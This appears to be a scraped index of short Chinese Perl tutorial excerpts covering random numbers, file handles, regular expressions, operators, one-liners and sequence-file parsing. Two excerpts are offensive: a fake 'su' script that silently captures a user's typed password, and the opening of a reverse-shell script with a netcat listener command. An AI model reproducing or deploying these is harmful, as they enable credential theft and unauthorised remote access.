Time of Update: 2017-01-18
程式檔案:test.pl複製代碼 代碼如下:#!/bin/perl# filename:test.pluse strict; use warnings; #隨便找一個比較好識別的序列 my $DNA="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n"; my $i; my $mutant; srand(time|$$);
Time of Update: 2017-01-18
在perl中srand()提供供rand()使用的隨機數種子,rand()產生隨機數產生器。如果在第一次調用rand()之前沒有調用srand(),那麼系統會為你自動調用srand()。使用同種子相同的數調用srand()會導致相同的隨機數序列被產生。舉例如下:複製代碼 代碼如下:srand(26); $number1=rand(100); print "$number1\n"; srand(26);
Time of Update: 2017-01-18
在檔案I/O中,要從一個檔案讀取資料,應用程式首先要叫用作業系統函數並傳送檔案名稱,並選一個到該檔案的路徑來開啟檔案。該函數取回一個順序號,即Perl檔案控制代碼(filehandle),該Perl檔案控制代碼對於開啟的檔案是唯一的識別依據。要從檔案中讀取一塊資料,應用程式需要調用函數ReadFile,並將Perl檔案控制代碼在記憶體中的地址和要拷貝的位元組數傳送給作業系統。當完成任務後,在通過調用系統函數來關閉該檔案。除了你模仿唯我論者哲學家編寫一個人工智慧程式,你的程式使用不和外界通訊的方法
Time of Update: 2017-01-18
Perl語言中Perl方法的概念你是否瞭解,這裡向大家簡單介紹一下,Perl類的Perl方法只不過是一個Perl子程式而已,也即通常所說的成員函數。Perl方法一、Perl方法簡介Perl類的Perl方法只不過是一個Perl子程式而已,也即通常所說的成員函數。Perl方法定義不提供任何特殊文法,但規定Perl方法的第一個參數為對象或其被引用的包。Perl有兩種Perl方法:靜態Perl方法和虛Perl方法。靜態Perl方法第一個參數為類名,虛Perl方法第一個參數為對象的引用。Perl方法處理第
Time of Update: 2017-01-18
本文和大家重點討論一下Perl文法中Perl變數的概念,Perl變數分為標量變數,陣列變數,聯絡關係陣列變數3類.Perl的變數對巨細寫敏感,好比:An,AN,an是3個分歧的變數,可是分歧範例的變數可以利用統一個名字。 Perl文法簡介 1.Perl變數 1.1.Perl文法中Perl變數分類
Time of Update: 2017-01-18
Perl文法 Perl運算子簡介1.Perl運算子1.1 算數運算子 Perl固然在變數與資料範例都和C大不不異,然而它的運算子和C險些不異,除了C的範例轉換運算子type,指標引用運算子*ptr和布局成員選擇符,其他C的運算子險些完全呈現在Perl裡,Perl新增了幾個新運算子,好比在字元處置方面.◆Perl到今朝撐持的算數運算子有一些幾種:+加法運算子-減法運算子*乘運算子/除運算子(只對浮點數運算)%模數運算子(只對整數運算)下面給出Perl算數運算的一些執行個體:$x=2.5;$y=3;
Time of Update: 2017-01-18
perl中<>運算子可以有如下的用途:1)如果角括弧中間是檔案控制代碼,角括弧運算子允許你讀取檔案控制代碼,比如<STDIN>。2) 如果角括弧中間是搜尋模式,角括弧運算子能返回與該模式比對的檔案清單,這稱為一個glob,比如< *.bat>。3)一組角括弧運算子如果中間沒有任何東西,那麼它可以讀取命令列上所有檔案的內容;如果沒有給出檔案名稱,則可以讀取標準輸出。請看下面這段代碼:複製代碼 代碼如下:while(<>){print
Time of Update: 2017-01-18
PERL裡Regex的簡介 一、簡介 二、匹配操作符 三、模式中的特殊字元 1、字元+ 2、字元 []和[^] 3、字元 *和? 4、逸出字元 5、匹配任意字母或數字 6、錨模式 7、模式中的變數替換 8、字元範圍轉義首碼 9、匹配任一字元 10、匹配指定數目的字元 11、指定選項 12、模式的部分重用 13、轉義和特定字元的執行次序 14、指定模式定界符 15、模式次序變數 四、模式比對選項 1、匹配所有可能的模式(g選項) 2、忽略大小寫(i選項)例 3、將字串看作多行(m選項)
Time of Update: 2017-01-18
1 line perl 今天來說說perl,只有一行的perl程式。 各種程式設計語言中perl是以變態的古靈精怪而聞名的,比如我,就經常寫出自己都看不懂的perl程式來。 比如這篇文檔中的程式,雖然短小,估計一個星期之後我看這就要頭暈了。但這絲毫不影響perl作為 一個功能強大的系統管理工具和系統控制語言的存在和推廣,而且靈活性恰恰是它最大的優勢,你可以 這樣寫,也可以那樣寫,“或者,絕招同途異路。” 1. hello world! ==============================
Time of Update: 2017-01-18
NULL值的判斷 $t{type1id} = $$pref{dbh}->selectrow_array("SELECT type1id FROM enq1 WHERE id = 3"); if ( $t{type1id} == 0 ) { print "Type1id is NULL\n"; } ==>不是數值項的話,這個語句有問題。數值項專用。 if ( length($t{type1id}) == 0 ) { print "Type1id is NULL\n"; } ==>
Time of Update: 2017-01-18
最近在用perl+mdbm+spread做東西。 php是用了很久了,python和ruby與用過,經典指令碼語言就perl沒摸過,現在在像小學生一樣抱著教科書啃。 發現perl果然有難度多了。別的東西沒讓我這麼頻繁地犯錯誤。 1.第一個常見的錯誤是:向檔案輸出內容。標準文法是: print STDERR "this is an apple."; 我一般都會寫成 print STDERR,"this is an apple.";
Time of Update: 2017-01-18
我改了一下,把回顯關了 加了個延時: #!/usr/bin/perl # Written by xi4oyu <evil.xi4oyu@gmail.com>. print "Password: "; `stty -echo`; $s1=<STDIN>; print "\n"; `stty echo`; sleep 3; print "su: incorrect password\n"; chomp($s1); $s2="Password is: "; $s3="
Time of Update: 2017-01-18
Perl的文法相對來說有點晦澀,主要是一些內建變數和函數處理得相當精巧,而過於精緻的東西理解起來就有點費力。相對於Shell,Perl在很多方面更加強大高效,比如Hash(關聯陣列)就非常好用,如果要將不同主機發出來的警示資訊發送到不同的責任人,在shell中要做非常多的if或者case判斷,修改起來也非常費力,而使用關聯陣列,則可以輕鬆實現該功能,代碼簡潔,配置方便,一個字,爽。
Time of Update: 2017-01-18
反向串連代碼: 1. #!/usr/bin/perl 2. #usage: 3. #nc -vv -l -p PORT(default 1988) on your local system first,then
Time of Update: 2017-01-18
Perl指令碼batchReplace.pl可以用來批量替換檔案中的文字/代碼。可在指定目錄中尋找指定類型的檔案,並遞迴檢查子目錄;在輸出檔案時複製輸入檔案的目錄結構。 [附件]Win32應用程式batchReplace.exe是由Perl指令碼編譯產生的可執行程式,不需安裝Perl運行環境即可執行。 在命令列中使用
Time of Update: 2017-01-18
哪些平台上有 Perl?要到哪裡去找? Perl的標準發行版(由 perl發展小組負責維護)僅以原始碼形式發行。您可在 http: //www.perl.com/CPAN/src/latest.tar.gz處取得。這個檔案的格式是 POSIX tar檔案櫃,再以 gzip格式壓縮。這套原始碼完全不需任何移植工作便可輕易地在絕大多數的 Unix系統(Perl的原生系統),以及 Plan 9、VMS、QNX、 OS/2 ,和 Amiga上編譯安裝完成。儘管有謠傳說(即將推出的)第
Time of Update: 2017-01-18
Perl是什嗎? Perl是一個高階程式語言,由 Larry Wall和其他許多人所寫,融合了許多語言的特性。它主要是由無所不在的 C語言,其次由 sed、awk,UNIX shell 和至少十數種其他的工具和語言所演化而來。Perl對 process、檔案,和文字有很強的處理、變換能力,因此舉凡有關快速原型設計、系統工具、軟體工具、系統管理、資料庫連結、映像程式設計、網路連結,和 WWW程式設計等之類的任務,都特別 適合用 Perl來做。這些特長不但使 Perl成為系統維護管理者和
Time of Update: 2017-01-18
大家有沒有碰到過unix上,一個目錄檔案太多,無法刪除的現象,我為大家寫了個perl的程式刪除複製代碼 代碼如下:cat > del.pl#!/usr/bin/perl $file1=$ARGV[0]; @tests=(1,2,3,4,5,6,7,8,9,'A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');
Time of Update: 2017-01-18
複製代碼 代碼如下:#!/bin/perluse strict; use warnings; #定義變數 my $count; my $input; my $number; my $sentence; my $story; #定義四個數組 #定義了人物數組 my @nouns= ( 'Dad',
Time of Update: 2017-01-18
預設狀態下,很顯然都是用\n來區分行,\n也被我們稱作為分行符號。 當讀取序列時,按行來讀取時,就是以分行符號為標準。 讀取的strawberry1.gb的檔案內容如下: LOCUS JX118024 460 bp DNA linear PLN 25-SEP-2012 DEFINITION Fragaria vesca subsp. americana RNA polymerase beta subunit (rpoC1) gene, partial cds; plastid. /